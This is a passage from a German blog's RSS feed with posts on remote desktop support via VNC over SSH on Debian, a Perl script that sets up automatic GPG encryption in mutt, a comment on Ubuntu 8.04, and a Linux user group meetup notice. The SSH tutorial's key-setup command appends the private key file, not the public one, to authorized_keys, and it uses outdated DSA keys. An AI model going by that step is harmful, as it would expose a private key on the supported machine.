			<content:encoded><![CDATA[<p>Ich betreue diverse Desktop-Computer von Anwendern, die (wie soll ich sagen) &raquo;unbedarft&laquo; in Sachen PC-Bedienung sind.  Daher kommt es bisweilen vor, dass mich Anfragen erreichen, die nur schwer oder gar nicht per E-Mail oder Telefon aus der Ferne zu beantworten sind.  Aus diesem Grund habe ich nach einer Möglichkeit gesucht, mir bei Bedarf den Desktop des jeweiligen Anwenders auf meinen Bildschirm zu holen.</p>
<p>Das GNOME-Environment bringt zwar schon eine entsprechende Funktion mit, die den eigenen Desktop für einen Zugriff von außen freigibt, diese basiert aber leider auf &raquo;reinem&laquo; VNC, d.h. die Daten der Verbindung werden unverschlüsselt übertragen.  In einem LAN mag das gehen, für die Übertragung im Internet habe ich nach einer verschlüsselten Variante gesucht.</p>
<p>Letztlich habe ich mich dafür entschieden, eine VNC-Verbindung über ssh zu tunneln.  NX habe ich mir zwar auch angesehen, der Client unterstützt aber leider keine Pubkey-Authentifizierung und war auch sonst in der Bedienung eher umständlich.  Das System auf beiden Seiten ist jeweils Debian GNU/Linux &raquo;Etch&laquo; und so geht es:</p>
<p><span id="more-44"></span></p>
<h3>1. ddclient</h3>
<p>Zunächst muss dafür gesorgt werden, dass man den zu betreuenden Rechner auch erreichen kann.  Sofern dieser keine statische IP-Adresse hat, muss man auf Dienste wie z.B. DynDNS oder easyDNS ausweichen.</p>
<p>Ist der betreffende Rechner direkt mit dem Internet (ohne Router) verbunden, gibt es hier keine Hürden:</p>
<pre class="code"># aptitude install ddclient</pre>
<p> installiert <code>ddclient</code>, das sich mit einer ganzen Reihe von Diensten verwenden lässt.  Debconf fragt direkt nach allen relevanten Konfigurationsparametern, die man später wie gewohnt durch den Aufruf von <code>dpkg-reconfigure ddclient</code> noch ändern kann. <code>ddclient</code> meldet dann die aktuelle IP-Adresse an den jeweiligen Dienst, sobald eine Internetverbindung hergestellt wird.</p>
<p>Ein wenig komplizierter wird es, wenn ein Router ins Spiel kommt.  In diesem Fall muss sich nämlich dieser um das Update beim DNS-Dienst kümmern &#8212; ob der jeweilige Router dies kann, ist der entsprechenden Dokumentation zu entnehmen.  Darüber hinaus muss noch ein <em>Port Forwarding</em> eingerichtet werden, d.h. alle Verbindungen auf einen Port am Router werden zu einem Port eines der angeschlossenen Rechner weitergeleitet.  Auch hierfür sei auf die Dokumentation des Herstellers verwiesen.</p>
<h3>2. ssh</h3>
<p>Sofern noch nicht vorhanden, muss auf dem Zielrechner ein ssh-Server installiert werden:</p>
<pre class="code"># aptitude install openssh-server</pre>
<p>Aus Sicherheitsgründen sollte auf jeden Fall der Login für root gesperrt und auch Passwort-Logins deaktiviert werden.  Diese Zeilen müssen dafür in <code>/etc/ssh/sshd_config</code> stehen:</p>
<pre class="code">PermitRootLogin no
PasswordAuthentication no
UsePAM no</pre>
<p>Als nächstes ist ein Schlüsselpaar zu erzeugen und dessen öffenlicher Teil den autorisierten Schlüsseln des zu betreuenden Benutzerkontos hinzuzufügen:
<pre class="code">$ ssh-keygen -t dsa -f /path/to/id_file
# cat /path/to/id_file &gt;&gt; /home/username/.ssh/authorized_keys</pre>
<p>Den geheimen Teil des Schlüssels sollte man auf keinen Fall auf dem PC des Anwenders zurücklassen!  Die Gefahr, dass der Schlüssel und damit der Zugang zu dem Rechner in Hände gerät, in die er nicht gehört, ist groß.  Am besten erzeugt man sich ein entsprechendes &raquo;Support&laquo;-Schlüsselpaar zu Hause und nimmt es auf einem USB-Stick mit.</p>
<h3>3. VNC</h3>
<p>Als letztes muss noch der VNC-Server installiert werden:
<pre class="code"># aptitude install x11vnc</pre>
<p>Als letztes muss noch ein Passwort für diesen vergeben werden.  Dazu füht man im Kontext des zu betreuenden Nutzers folgenden Befehl aus:
<pre class="code">$ x11vnc -storepasswd ~/.vnc/passwd</pre>
<p>Das Passwort ist wichtig, da sonst ein Zugriff auf den VNC-Server durch andere Benutzer, die auf dem gleichen PC angemeldet sind, möglich wäre.</p>
<p>Damit ist die Konfiguration abgeschlossen und man kann sich mit dem Rechner verbinden.</p>
<h3>4. Eine Verbindung aufbauen</h3>
<p>Wir befinden uns jetzt wieder am eigenen PC und möchten den Desktop unseres Nutzers auf unseren Monitor holen.  Dazu wird zunächst der VNC-Server auf dem entfernten Rechner gestartet und dessen Port (5900) auf (den eigenen) localhost umgeleitet:
<pre class="code">$ ssh -C -i /path/to/id_file -L 5900:localhost:5900 USER@HOST "x11vnc -localhost -display :0 -rfbauth ~/.vnc/passwd"</pre>
<p>Zur Erklärung:</p>
<ul>
<li><code>-C</code> komprimiert die übertragenen Daten</li>
<li><code>/path/to/id_file</code> muss ersetzt werden durch den Pfad zum privatekey</li>
<li><code>-L 5900:localhost:5900</code> leitet Port 5900 des entfernten Rechners auf Port 5900 von localhost um</li>
<li><code>USER</code> und <code>HOST</code> sind durch den Benutzernamen und den (dynamischen) Hostnamen zu ersetzen</li>
<li>Der Rest der Zeile ist das Kommando, das auf dem entfernten Rechner ausgeführt werden soll: starten des VNC-Servers und Bereitstellung des Displays <code>:0</code> auf localhost</li>
</ul>
<p>Das Ergebnis sollte eine Meldung sein, dass der VNC-Server erfolgreich gestartet wurde und auf Verbindungen wartet.</p>
<p>Nun kann man sich mit einem VNC-Client der Wahl (z.B. vncviewer) am Server anmelden:
<pre class="code">$ vncviewer localhost</pre>
<p>Nach Eingabe des Passwortes ist man nun mit dem Desktop des entfernten PCs verbunden.</p>
<h3>Noch ein Hinweis</h3>
<p><strong>Ich möchte ausdrücklich darauf hinweisen, dass selbstverständlich das Einverständnis des jeweiligen Benutzers vorliegen muss, bevor man sich mit dessen Computer verbindet!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2008/05/remote-desktop-per-vnc-mit-debian/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Firefox Beta in Ubuntu LTS</title>
		<link>http://martin-grandrath.de/2008/04/firefox-beta-in-ubuntu-lts/</link>
		<comments>http://martin-grandrath.de/2008/04/firefox-beta-in-ubuntu-lts/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 15:40:52 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Distribution]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://www.martin-grandrath.de/?p=21</guid>
		<description><![CDATA[Eben im Heise-Newsticker:
Wie auch die letzte LTS-Version Ubuntu 6.06 legt das aktuelle Release 8.04 mit dem Namen &#187;Hardy Heron&#171; den Fokus mehr auf Stabilität und Bedienerfreundlichkeit als auf sensationelle neue Features.
Nun, das ist ja die Idee bei der LTS-Version, mit der vor allem Unternehmenskunden angesprochen werden sollen. Drei Zeilen weiter liest man dann aber das:
Als [...]]]></description>
			<content:encoded><![CDATA[<p>Eben im <a href="http://www.heise.de/newsticker/meldung/106982" rel="external">Heise-Newsticker</a>:</p>
<blockquote><p>Wie auch die letzte LTS-Version Ubuntu 6.06 legt das aktuelle Release 8.04 mit dem Namen &raquo;Hardy Heron&laquo; den Fokus mehr auf Stabilität und Bedienerfreundlichkeit als auf sensationelle neue Features.</p></blockquote>
<p>Nun, das ist ja die Idee bei der <abbr title="Long term support">LTS</abbr>-Version, mit der vor allem Unternehmenskunden angesprochen werden sollen. Drei Zeilen weiter liest man dann aber das:</p>
<blockquote><p>Als erste Linux-Distribution installiert Ubuntu 8.04 den neuen Firefox 3 als Standardbrowser.</p></blockquote>
<p>Was bitte hat eine Betaversion in einem Stablerelease zu suchen? &#8212; Diese Distribution wird mir kontinuierlich unsympatischer&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2008/04/firefox-beta-in-ubuntu-lts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#187;pgp_autoencrypt&#171; für mutt automatisieren</title>
		<link>http://martin-grandrath.de/2008/04/pgp_autoencrypt-fuer-mutt-automatisieren/</link>
		<comments>http://martin-grandrath.de/2008/04/pgp_autoencrypt-fuer-mutt-automatisieren/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 07:41:18 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[GPG]]></category>
		<category><![CDATA[Mutt]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.martin-grandrath.de/?p=15</guid>
		<description><![CDATA[Mutt bietet von sich aus keine Möglichkeit Nachrichten an Empfänger, für die ein öffentlicher GPG-Schlüssel vorhanden ist, automatisch zu verschlüsseln. Man kann zwar die Option pgp_autoencrypt aktivieren, dies führt aber dazu, dass mutt versucht jede E-Mail zu verschlüsseln, was man dann regelmäßig vor dem Absenden deaktivieren muss, wenn der Empfänger keinen public key hat. Die [...]]]></description>
			<content:encoded><![CDATA[<p>Mutt bietet von sich aus keine Möglichkeit Nachrichten an Empfänger, für die ein öffentlicher GPG-Schlüssel vorhanden ist, automatisch zu verschlüsseln. Man kann zwar die Option <code>pgp_autoencrypt</code> aktivieren, dies führt aber dazu, dass mutt versucht <em>jede</em> E-Mail zu verschlüsseln, was man dann regelmäßig vor dem Absenden deaktivieren muss, wenn der Empfänger keinen public key hat. Die Alternative (<code>pgp_autoencrypt</code> deaktivieren) ist auch nicht sehr benutzerfreundlich, weil man hier viel zu leicht vergessen kann, die Verschlüsselung im Einzelfall zu aktivieren.<br />
<span id="more-15"></span></p>
<h3>Abhilfe</h3>
<p>Abhilfe schafft die Möglichkeit die automatische Verschlüsselung zunächst global zu deaktivieren und mit so genannten <code>send-hook</code>s für einzelne Empfängeradressen (eben diejenigen, für die ein Schlüssel vorhanden ist) wieder zu aktivieren. In der <code>~/.muttrc</code> sieht das Ganze dann so aus:</p>
<pre class="code">send-hook . 'unset pgp_autoencrypt'
send-hook '~t my-friend@example.com' 'set pgp_autoencrypt'</pre>
<p>Die erste Zeile deaktiviert (unset) automatische Verschlüsselung für alle Empfänger (der &#8216;.&#8217; trifft immer zu). In der zweiten Zeile wird nun die Verschlüsselung wieder aktiviert und zwar immer dann, wenn eine Mail an <code>my-friend@example.com</code> adressiert wird (der Schalter &#8216;<code>~t</code>&#8216; bezieht das Suchmuster auf das Empfänger-Feld (To:). Den passenden Schlüssel kann mutt dann selbst ermitteln, sofern <code>pgp_list_pubring_command</code> korrekt gesetzt ist.</p>
<p>Nun ist es alles andere als praktikabel für jeden einzelnen Empfänger, der einen GPG-Schlüssel besitzt, eine separate Zeile in der Konfigurationsdatei hinzuzufügen, zumal diese Information ja bereits existiert: im public keyring. Netterweise bietet GPG eine komfortable Möglichkeit, die Liste der vorhandenen Schlüssel automatisiert zu verarbeiten und zwar mit Hilfe der Schalter &raquo;<code>--list-keys --with-colons</code>&raquo;. Das Ergebnis ist eine Liste mit 15 durch Doppelpunkte getrennten Feldern. Für unsere Zwecke benötigen wir nur drei davon:</p>
<ul>
<li>Feld 1 enthält den Typ der Zeile. Uns interessieren nur diejenigen vom Typ <code>pub</code> und <code>uid</code>.</li>
<li>Feld 2 enthält den berechneten trust level. Ich habe mich dafür entschieden, alle Schlüssel zu berücksichtigen, denen ich mindestens &raquo;marginally&laquo; (&#8217;m') vertraue. Des Weiteren steht &#8216;f&#8217; für &raquo;fully&laquo; und &#8216;u&#8217; für &raquo;ultimately&laquo; trusted.</li>
<li>Feld 10 enthält die eigentliche UID, also den Namen und die E-Mail-Adresse.</li>
</ul>
<p>Als regulärer Ausdruck ergibt sich damit</p>
<pre class="code">/^(uid|pub):[mfu]:(.*:){7}.* &lt;(.+@.+)&gt;:/</pre>
<p>Die vollständige Dokumentation dieses Formats findet sich übrigens in der Datei <code>DETAILS.gz</code> im Dokumentationsverzeichnis von GnuPG (z.B. bei Debian <code>/usr/share/doc/gnupg/</code>).</p>
<h3>Alles zusammen</h3>
<p>Das folgende Script prüft zunächst, ob eine Cache-Datei existiert und diese neuer als der public keyring ist. Wenn das der Fall ist, wird einfach diese Datei ausgegeben. Andernfalls die oben beschriebene Liste aller Schlüssel mit <code>gpg --list-keys --with-colons</code> und daraus entsprechende Konfigurationszeilen für mutt erzeugt. Eingebunden wird das Script mit der Zeile</p>
<pre class="code">source ~/.muttrc.gpg.pl|</pre>
<p>in der <code>~/.muttrc</code> (das Pipe-Symbol (|) am Ende nicht vergessen!).</p>
<p>Falls die Cache-Datei nicht existiert und der Keyring einigermaßen groß ist (bei mir sind es derzeit etwas über 1800 Zeilen), verzögert sich der Start von mutt um wenige Sekunden, was durchaus im Rahmen des Erträglichen liegt.</p>
<pre class="code perl">#!/usr/bin/perl

# file:    ~/.muttrc.gpg.pl
# author:  Martin Grandrath &lt;mail@martin-grandrath.de&gt;
# date:    2008-04-19
#
# description:
#   Creates .muttrc lines in the form
#   ,----
#   | send-hook '~t trusted@example.com' 'set pgp_autoencrypt'
#   `----
#   for each trusted uid in your gpg public keyring.  The output is
#   stored in a cache file that will be refreshed whenever the keyring
#   is newer than the cache file (mtime).
#
#   This script can be included in ~/.muttrc with the following line
#   (don't forget the trailing pipe (|))
#   ,----
#   | source ~/.muttrc.gpg.pl|
#   `----

use strict;
use warnings;
use File::stat;

my $cachefile="$ENV{HOME}/.cache/muttrc.gpg";
my $keyring="$ENV{HOME}/.gnupg/pubring.gpg";

if (-s $cachefile &amp;&amp; -s $keyring &amp;&amp;
    stat($cachefile)-&gt;mtime &gt; stat($keyring)-&gt;mtime)
{
    # Just dump cachefile to stdout if it exists and is not older than
    # keyring
    open FILE, $cachefile or die "ERROR: $!\n";
    print while (&lt;FILE&gt;);
    close FILE;
}
else
{
    my %count;   # count adresses (we want no duplicates)
    my $address; # email addresses from keyring

    # Create new muttrc config and "tee" it to stdout and the
    # cachefile
    open STDOUT, "| tee $cachefile" or die "ERROR: $!\n";
    open GPG, '/usr/bin/gpg --list-keys --with-colons |' or die "Error: $!\n";

    # let mutt reset all autoencrypt settings
    print "send-hook . 'unset pgp_autoencrypt'\n";

    while (&lt;GPG&gt;)
    {
        # Get all keys which we at least "marginally" trust
        if (/^(uid|pub):[mfu]:(.*:){7}.* &lt;(.+@.+)&gt;:/)
        {
            $address = lc($3);
            $count{$address} += 1;

            # Output new send-hook line if address is no duplicate
            print "send-hook '~t $address' 'set pgp_autoencrypt'\n"
                if ($count{$address} &lt; 2);
        }
    }
    close GPG;
    close STDOUT;
}</pre>
<p>Ich setze hier voraus, dass alle E-Mails verschlüsselt werden sollen, sobald die Möglichkeit dazu besteht. Möchte man einzelne Empfänger von dieser Regel ausnehmen, kann man für diese natürlich nach der Einbindung des Scriptes weitere <code>send-hook</code>s anlegen, die die automatische Verschlüsselung wieder deaktivieren.</p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2008/04/pgp_autoencrypt-fuer-mutt-automatisieren/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FluX-Stammtisch ab sofort regelmäßig</title>
		<link>http://martin-grandrath.de/2008/04/flux-stammtisch-ab-sofort-regelmaessig/</link>
		<comments>http://martin-grandrath.de/2008/04/flux-stammtisch-ab-sofort-regelmaessig/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 11:48:45 +0000</pubDate>
		<dc:creator>Martin Grandrath</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[FluX]]></category>
		<category><![CDATA[TU Freiberg]]></category>

		<guid isPermaLink="false">http://www.martin-grandrath.de/?p=7</guid>
		<description><![CDATA[Die Freiberger Linux User Group (FluX) trifft sich ab sofort regelmäßig jeweils am 4.&#160;Sonntag im Monat im Steiger des EAC. Los geht es diesen Monat, d.h. am 27.&#160;April.
]]></description>
			<content:encoded><![CDATA[<p>Die <a href="http://www.flux.tu-freiberg.de/" rel="external">Freiberger Linux User Group (FluX)</a> trifft sich ab sofort regelmäßig jeweils am 4.&nbsp;Sonntag im Monat im Steiger des <a href="http://www.club.tu-freiberg.de/" rel="external">EAC</a>. Los geht es diesen Monat, d.h. am 27.&nbsp;April.</p>
]]></content:encoded>
			<wfw:commentRss>http://martin-grandrath.de/2008/04/flux-stammtisch-ab-sofort-regelmaessig/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

